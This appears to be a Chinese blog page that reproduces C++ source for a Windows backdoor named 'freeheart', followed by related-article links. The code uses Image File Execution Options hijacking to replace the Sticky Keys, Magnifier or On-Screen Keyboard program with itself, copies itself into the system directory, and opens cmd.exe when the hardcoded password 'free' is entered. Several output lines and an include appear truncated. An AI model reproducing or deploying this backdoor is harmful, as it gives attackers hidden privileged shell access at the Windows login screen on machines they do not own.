// freeheart.cpp : Defines the entry point for the console application.

//学习交流使用,违法使用后果自负。

// by:cnblogs.com/blogg time 2013.5.24

// argv 0 = freeheart.exe

// argv 1 = -i

// argv 2 = name.exe

// argv 3 = 1 2 3

// 此程序使用的映像劫持技术,

// 在注册表当中建立一个程序名的项目,在里面使用debugger,然后在里面指向自己的程序。

//[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]

//

#include "stdafx.h"

#include "windows.h"

#include "atlbase.h"

#include

using namespace std;

int main(int argc, char* argv[])

{

void anzhuang(char *Path,char *filename);

void xiezai(char *path,char *hName);

void CopyZiji(char *CopyPath);

char *password = "free"; //真密码缓冲区

char *shuruPwd = ""; //输入的密码缓冲区

int errorbuff = 0;

char *PathBuff = "";

char *FileName = "";

char *chsname = "sethc.exe"; //SHIFT粘贴键程序的名称

char *fangdajing = "magnify.exe"; //

char *pingmujianpan = "osk.exe"; //

LPTSTR sysbuff; //得到系统路径的缓冲区

TCHAR tchBuffer2[1024]; //申请一个字符变量数组

sysbuff = tchBuffer2; //把系统的路径放到这个变量数组里

if(GetSystemDirectory(sysbuff, MAX_PATH)) //得到系统路径

{

sysbuff = strcat(sysbuff,"\\"); //strcat 剪切在一起,把\\放在系统路径的后面,然后放入系统缓冲区当中。

}

if (argv[1] != NULL)

{

//安装命令判断

if (strcmp(argv[1],"-i") == 0)

{

if (argv[2] != NULL)

{

FileName=argv[2];

}

else

{

cout<

return 0;

}

if(argv[3] != NULL)

{

if(strcmp(argv[3],"1") == 0)

{

anzhuang(FileName,chsname);

PathBuff = strcat(sysbuff,FileName);

CopyZiji(PathBuff);

cout<

return 0;

}

if(strcmp(argv[3],"2") == 0)

{

anzhuang(FileName,fangdajing);

PathBuff = strcat(sysbuff,FileName);

CopyZiji(PathBuff); //调用函数

cout<

return 0;

}

if(strcmp(argv[3],"3") == 0)

{

anzhuang(FileName,pingmujianpan);

PathBuff = strcat(sysbuff,FileName);

CopyZiji(PathBuff); //调用函数

cout<

return 0;

}

}

else

{

cout<

}

return 0;

}

//卸载

if (strcmp(argv[1],"-u") == 0)

{

if(argv[2] != NULL)

{

if(strcmp(argv[2],"1") == 0)

{

xiezai(sysbuff,chsname);

cout<

return 0;

}

if(strcmp(argv[2],"2") == 0)

{

xiezai(sysbuff,fangdajing);

cout<

return 0;

}

if(strcmp(argv[2],"3") == 0)

{

xiezai(sysbuff,pingmujianpan);

cout<

return 0;

}

}

else

{

cout<

}

return 0;

}

//为什么会进入这里 因为debugger a.exe 其实是两个参数,因为if (argv[1] != NULL) 也就是第二个参数不等于空的话执行下面的语句。

while(errorbuff<3) //循环三次,错误。

{

cout<

cin>>shuruPwd;

if (strcmp(shuruPwd,password) == 0)

{

system("cmd.exe");

break;

}

else

{

cout<

}

errorbuff++; //自加一次

}

return 0;

}

system("color a");

cout<

cout<

cout<

cout<

cout<

cout<

cout<

cout<

cout<

cout<

return 0;

}

//安装函数

void anzhuang(char *Path,char *filename)

{

HKEY hSoftKey = NULL;

HKEY hCompanyKey = NULL;

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options"), 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)

{

if (RegCreateKeyEx(hSoftKey, _T(filename), 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_WRITE|KEY_READ, NULL,&hCompanyKey,NULL) == ERROR_SUCCESS)

{

LPBYTE Value=(LPBYTE)Path;

long ret1=::RegSetValueEx(hCompanyKey,"Debugger",0,REG_SZ,(BYTE*)Value,50);

RegCloseKey(hCompanyKey);

}

RegCloseKey(hSoftKey);

}

}

//卸载函数

void xiezai(char *path,char *hName) //hName 传递进来的程序名

{

HKEY hSoftKey = NULL;

LPCTSTR hMainKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options";

if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, hMainKey, 0, KEY_WRITE|KEY_READ,&hSoftKey) == ERROR_SUCCESS)

{

DWORD len = 256;

DWORD type = REG_SZ;

LPBYTE last = new BYTE[256];

LPCTSTR hname = (LPCTSTR)hName;

char *HHname;

HKEY hKey; //在注册表当中创建一个magnify名的项,在里面当中加入debugger,里面跟上自己的程序名的值。

char* DelCom;

HHname=strcat((char *)hMainKey,"\\"); //hmainkey 注册表的路径

HHname=strcat((char *)hMainKey,(char *)hname); //hname 程序名

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)HHname,0,KEY_READ,&hKey)==ERROR_SUCCESS && RegQueryValueEx(hKey,"Debugger",0,&type,last,&len)==ERROR_SUCCESS)

{

DelCom=strcat(path,reinterpret_cast (last));

DeleteFile(DelCom); //删除文件

RegDeleteKey(hSoftKey,hname); //删除注册表

}

RegCloseKey(hSoftKey); //关闭句柄

RegCloseKey(hKey); //关闭句柄

}

}

void CopyZiji(char *CopyPath) //将自身生成exe文件复制到指定的路径下

{

char PathBuff[MAX_PATH]; //申请一个字符变量数组,大小是系统最大的长度。

GetModuleFileName(NULL,PathBuff,MAX_PATH); //第一个参数为NULL,就表示获取当前程序的路径,第二个参数就是存放到缓冲区。

CopyFile(PathBuff,CopyPath,true); //CurrentPath 是自身exe,把自身复制到目标路径当中

}

C语言,后门程序,C++映像劫持后门实例分析相关推荐

  1. Shfit映像劫持后门新玩法

    映像劫持简介 映像劫持(Image File Execution Options),简单的说法,就是当你打开的是程序A,而运行的确是程序B. 映像劫持其实是Windows内设的用来调试程序的功能,但是 ...

  2. 权限维持之打造不一样的映像劫持后门

    0x01 前言 "映像劫持",也被称为"IFEO"(Image File Execution Options),在WindowsNT架构的系统里,IFEO的本意 ...

  3. kali metasploit 制作后门程序远程操控基本使用方法

    kali metasploit制作后门程序远程操控基本使用方法 1.后门程序的制作与加密 后门的实质就是木马 msfvenom -p windows/x64/meterpreter/reverse_t ...

  4. 【权限维持】Windows自启动映像劫持粘滞键辅助屏保后门WinLogon

    文章目录 权限维持-域环境&单机版-自启动 权限维持-域环境&单机版-粘滞键 权限维持-域环境&单机版-映像劫持 权限维持-域环境&单机版-屏保&登录 权限维持 ...

  5. IE被hxxp://www.pp8000.cn劫持,卡卡报IE为可疑后门程序

    IE被hxxp://www.pp8000.cn劫持,卡卡报IE为可疑后门程序 endurer 原创 2009-02-15 第1版 一位网友的电脑最近打开IE总是显示hxxp://www.pp8000. ...

  6. 解除映像劫持工具与源码,可解决因映像劫持导致的程序不能运行问题

    显示在红色列表框中为被劫持导致无法运行的程序名(同名程序不能在本机器上正常运行,可通过加号增加对其它程序文件的屏蔽) 显示在绿色列表框中为本软件解除了劫持的程序(可使用重新屏蔽按钮恢复到被劫持状态) ...

  7. 映像劫持技术(1):简单介绍

    映像劫持,即Image File Execution Option.在深入了解这个概念之前,可以简单地认为,它可以令应用程度重定向.这是注册表里的一个功能,可以做这样的尝试: 打开注册表--定位到 H ...

  8. Windows权限维持之php不死马、映像劫持、策略组脚本

    文中主要讲解Windows权限维持中的小技巧,通过了解掌握php不死马.映像劫持.策略组脚本等方式,更快知晓权限维持作用.本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若 ...

  9. 防范IFEO映像劫持

    由于最近病毒都采用了IFEO映像劫持技术,导致杀软无法运行或提示无法打开文件,最近此类病毒非常流行,病毒清除操作起来相对复杂一些,所以今天特意发帖强调大家注意. 关于IFEO的介绍网络上有非常多,本文 ...

最新文章

  1. html文字随机变色效果,html肿么让字体得到随机颜色
  2. 基于springboot实现疫情管理系统
  3. python3 pyinstaller 打包后 程序会显示两个进程 解决方法
  4. 国庆七天乐 Day5
  5. Windows Server 2003 IIS 使用 Excel.Application
  6. 决策树基本原理与sklearn应用
  7. 你的密码安全吗?——索尼事件的教训
  8. 【 js 基础 】Javascript “继承”
  9. 每日一题 字典序的第K小数字
  10. JAVA毕业设计高速公路收费管理计算机源码+lw文档+系统+调试部署+数据库
  11. Linux 面试最常问的十个问题
  12. 编译原理c语言递归下降程序,编译原理(递归下降分析程序)
  13. uniapp压缩图片
  14. 计算机断电无法启动不了系统,电脑停电后无法开机怎么办?|电脑停电无法启动的解决方法...
  15. centos7 mysql dump还原_CentOS 7.6使用mysqldump备份恢复MariaDB
  16. 数据库基础内容(超级详细)
  17. oracle 10 dbca第12步,第10步:DBCA创建实例
  18. EurekaServer这几个错误 你可以这样解决
  19. STL笔记:rb_tree
  20. qt5 开发及实例(第4版)_才聪学习网_中级微观经济学第4版练习题详解

热门文章

  1. Windows App开发之更多技巧
  2. Android 获取手机名称
  3. 计算机技术如何影响现代教育,浅谈信息技术时代对现代教育的影响
  4. 汽车美容快修店如何快速拓客-云上铺汽车管理软件
  5. QT百度离线地图(一)
  6. charles+proxifier抓包设置
  7. 一款做思维导图的神奇软件——MindMaster
  8. Java 语言程序设计基础(笔记一) ( 专升本自考 ,九天速成 )
  9. win10 x64DLL模块线程函数地址定位
  10. 【次发】985软件学院毕业情况!东南大学软院苏州